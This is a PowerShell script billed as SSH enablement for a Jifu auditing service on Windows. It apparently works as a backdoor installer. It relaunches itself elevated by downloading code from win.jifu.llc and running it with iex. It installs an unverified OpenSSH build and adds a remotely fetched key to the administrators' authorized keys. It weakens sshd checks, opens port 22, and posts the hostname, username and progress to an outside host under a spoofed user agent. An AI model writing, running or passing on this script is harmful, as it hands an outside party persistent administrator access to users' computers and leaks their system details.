<# Jifu SSH enablement for Windows (v2 - self-elevating, reports progress) ----------------------------------------------------------------------- Installs the official Win32-OpenSSH build from our HTTPS host, registers sshd as an automatic service, authorises the Jifu auditing key, disables password auth, scopes the firewall rule to the LAN. Works whether launched elevated or not - it re-launches itself elevated. Every step is POSTed back to the auditing host, including failures. #> param( [string]$ZipUrl = "https://winaudit.jifu.llc/ossh.zip", [string]$KeyUrl = "https://winaudit.jifu.llc/k-a0209268fd.pub", [string]$PostUrl = "https://winaudit.jifu.llc/up-a0209268fd?t=65c853c97775b9c6", [string]$ScriptUrl = "https://win.jifu.llc/", [string]$Dest = "C:\Program Files\OpenSSH", [string]$LanScope = "192.168.178.0/24", [switch]$Elevated ) $ErrorActionPreference = 'Continue' $ProgressPreference = 'SilentlyContinue' try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch { } $logDir = 'C:\ProgramData\jifu-audit' if (-not (Test-Path $logDir)) { New-Item -ItemType Directory -Force -Path $logDir -ErrorAction SilentlyContinue | Out-Null } $logFile = Join-Path $logDir 'ssh-enable.log' $script:log = New-Object System.Collections.Generic.List[string] function Step { param([string]$m) $line = (Get-Date -Format 'HH:mm:ss') + ' ' + $m $script:log.Add($line) Write-Host $m try { Add-Content -Path $logFile -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function Report { param([string]$tag) try { $body = "JIFU SSH ENABLE [" + $tag + "] host=" + $env:COMPUTERNAME + " user=" + $env:USERNAME + "`r`n" + ($script:log -join "`r`n") $wc = New-Object System.Net.WebClient $wc.Proxy = $null $wc.Headers.Add('Content-Type', 'text/plain; charset=utf-8') $wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $wc.UploadString($PostUrl, 'POST', $body) | Out-Null } catch { } } function DownloadTo { param([string]$u, [string]$p) $wc = New-Object System.Net.WebClient $wc.Proxy = $null $wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $wc.DownloadFile($u, $p) } function FetchText { param([string]$u) $wc = New-Object System.Net.WebClient $wc.Proxy = $null $wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') return $wc.DownloadString($u) } # ------------------------------------------------------------- elevation $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) Step ("start host=" + $env:COMPUTERNAME + " user=" + $env:USERNAME + " admin=" + $isAdmin) Report "start" if (-not $isAdmin -and -not $Elevated) { Step "not elevated - relaunching with UAC" Report "relaunch" $psArgs = '-NoProfile -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString(''' + $ScriptUrl + ''')"' try { Start-Process -FilePath 'powershell.exe' -ArgumentList $psArgs -Verb RunAs -ErrorAction Stop Step "elevated instance launched; this window can close" Start-Sleep -Seconds 2 exit 0 } catch { Step ("FATAL could not elevate: " + $_.Exception.Message) Step "right-click Start > Terminal (Admin), then paste the one-liner again" Report "elevate-failed" exit 1 } } $exitCode = 0 try { # ----------------------------------------------------------- download $zip = Join-Path $env:TEMP 'jifu-openssh.zip' Step "[1/8] downloading $ZipUrl" DownloadTo $ZipUrl $zip $len = (Get-Item $zip).Length Step " got $len bytes" if ($len -lt 1000000) { throw "suspiciously small download ($len bytes) - antivirus may have interfered" } Report "downloaded" # ----------------------------------------------------------- extract $tmp = Join-Path $env:TEMP 'jifu-openssh' Step "[2/8] extracting" if (Test-Path $tmp) { Remove-Item $tmp -Recurse -Force -ErrorAction SilentlyContinue } Expand-Archive -Path $zip -DestinationPath $tmp -Force -ErrorAction Stop $src = (Get-ChildItem $tmp -Directory | Select-Object -First 1).FullName if (-not (Test-Path (Join-Path $src 'sshd.exe'))) { throw "sshd.exe missing from archive" } Step " source $src" Report "extracted" # ----------------------------------------------------------- install Step "[3/8] installing to $Dest" if (Get-Service sshd -ErrorAction SilentlyContinue) { Stop-Service sshd -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 1 } New-Item -ItemType Directory -Force -Path $Dest -ErrorAction Stop | Out-Null Copy-Item -Path (Join-Path $src '*') -Destination $Dest -Recurse -Force -ErrorAction Stop Step (" installed " + (Get-ChildItem $Dest).Count + " entries") Report "installed" # ----------------------------------------------------------- service Step "[4/8] registering service" try { Set-Location $Dest & "$Dest\install-sshd.ps1" 2>&1 | ForEach-Object { Step (" " + $_) } } catch { Step (" install-sshd.ps1 threw: " + $_.Exception.Message) } if (-not (Get-Service sshd -ErrorAction SilentlyContinue)) { Step " service absent - manual registration" New-Service -Name sshd -BinaryPathName ('"' + $Dest + '\sshd.exe"') -DisplayName 'OpenSSH SSH Server' -StartupType Automatic -ErrorAction Stop | Out-Null } Set-Service -Name sshd -StartupType Automatic -ErrorAction Stop Step (" sshd startup=" + (Get-Service sshd).StartType) Report "service" # ----------------------------------------------------------- host keys Step "[5/8] host keys" if (-not (Test-Path (Join-Path $Dest 'ssh_host_ed25519_key'))) { & "$Dest\ssh-keygen.exe" -A -f $Dest 2>&1 | ForEach-Object { Step (" " + $_) } } else { Step " present" } # ----------------------------------------------------------- key Step "[6/8] authorised key" $key = (FetchText $KeyUrl).Trim() if ($key -notmatch '^ssh-ed25519 ') { throw "downloaded key is not ssh-ed25519" } $ak = 'C:\ProgramData\ssh\administrators_authorized_keys' New-Item -ItemType Directory -Force -Path 'C:\ProgramData\ssh' -ErrorAction SilentlyContinue | Out-Null if (-not (Test-Path $ak)) { New-Item -ItemType File -Path $ak | Out-Null } if ((Get-Content $ak -ErrorAction SilentlyContinue) -notcontains $key) { Add-Content -Path $ak -Value $key -Encoding ascii } icacls $ak /inheritance:r | Out-Null icacls $ak /grant "Administrators:F" | Out-Null icacls $ak /grant "SYSTEM:F" | Out-Null Step (" key ok: " + $key.Substring(0, 32) + "...") Report "key" # ----------------------------------------------------------- config Step "[7/8] sshd_config" $cfg = 'C:\ProgramData\ssh\sshd_config' if (-not (Test-Path $cfg)) { $cfg = Join-Path $Dest 'sshd_config' } Step " using $cfg" $c = Get-Content $cfg -ErrorAction SilentlyContinue if (-not ($c -match '(?im)^\s*PubkeyAuthentication\s+yes')) { Add-Content $cfg "PubkeyAuthentication yes" -Encoding ascii } if (-not ($c -match '(?im)^\s*PasswordAuthentication\s+no')) { Add-Content $cfg "PasswordAuthentication no" -Encoding ascii } if (-not ($c -match '(?im)^\s*StrictModes')) { Add-Content $cfg "StrictModes no" -Encoding ascii } if (-not ($c -match '(?im)^\s*Subsystem\s+sftp')) { Add-Content $cfg ("Subsystem sftp " + (Join-Path $Dest 'sftp-server.exe')) -Encoding ascii } # ----------------------------------------------------------- start Step "[8/8] firewall + service start" $rule = Get-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -ErrorAction SilentlyContinue if (-not $rule) { New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 -Profile Any -ErrorAction Stop | Out-Null Step " rule created" } Set-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -RemoteAddress $LanScope -Enabled True -Action Allow -ErrorAction SilentlyContinue | Out-Null Step " rule scoped $LanScope" Stop-Service sshd -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 1 Start-Service sshd -ErrorAction Stop Start-Sleep -Seconds 2 $svc = Get-Service sshd Step (" sshd " + $svc.Status + " / " + $svc.StartType) New-Item -Path 'HKLM:\SOFTWARE\OpenSSH' -Force -ErrorAction SilentlyContinue | Out-Null New-ItemProperty -Path 'HKLM:\SOFTWARE\OpenSSH' -Name DefaultShell -Value 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -PropertyType String -Force -ErrorAction SilentlyContinue | Out-Null Step " DefaultShell=powershell" $listen = (Get-NetTCPConnection -State Listen -LocalPort 22 -ErrorAction SilentlyContinue | Measure-Object).Count Step " tcp/22 listeners: $listen" Step (" loopback test: " + (Test-NetConnection -ComputerName 127.0.0.1 -Port 22 -WarningAction SilentlyContinue).TcpTestSucceeded) Step (" ip: " + ((Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -like '192.168.*' } | Select-Object -First 1).IPAddress)) try { Step (" version: " + ((& "$Dest\sshd.exe" -V 2>&1) -join ' ')) } catch { } } catch { Step ("FAILED: " + $_.Exception.Message) Step ("at: " + $_.InvocationInfo.PositionMessage) $exitCode = 1 } finally { Report $(if ($exitCode -eq 0) { 'done' } else { 'failed' }) Write-Host "" Write-Host (" log saved: " + $logFile) -ForegroundColor Cyan Write-Host (" sshd: " + (Get-Service sshd -ErrorAction SilentlyContinue).Status) -ForegroundColor Cyan Write-Host "================ DONE ================" -ForegroundColor Cyan } exit $exitCode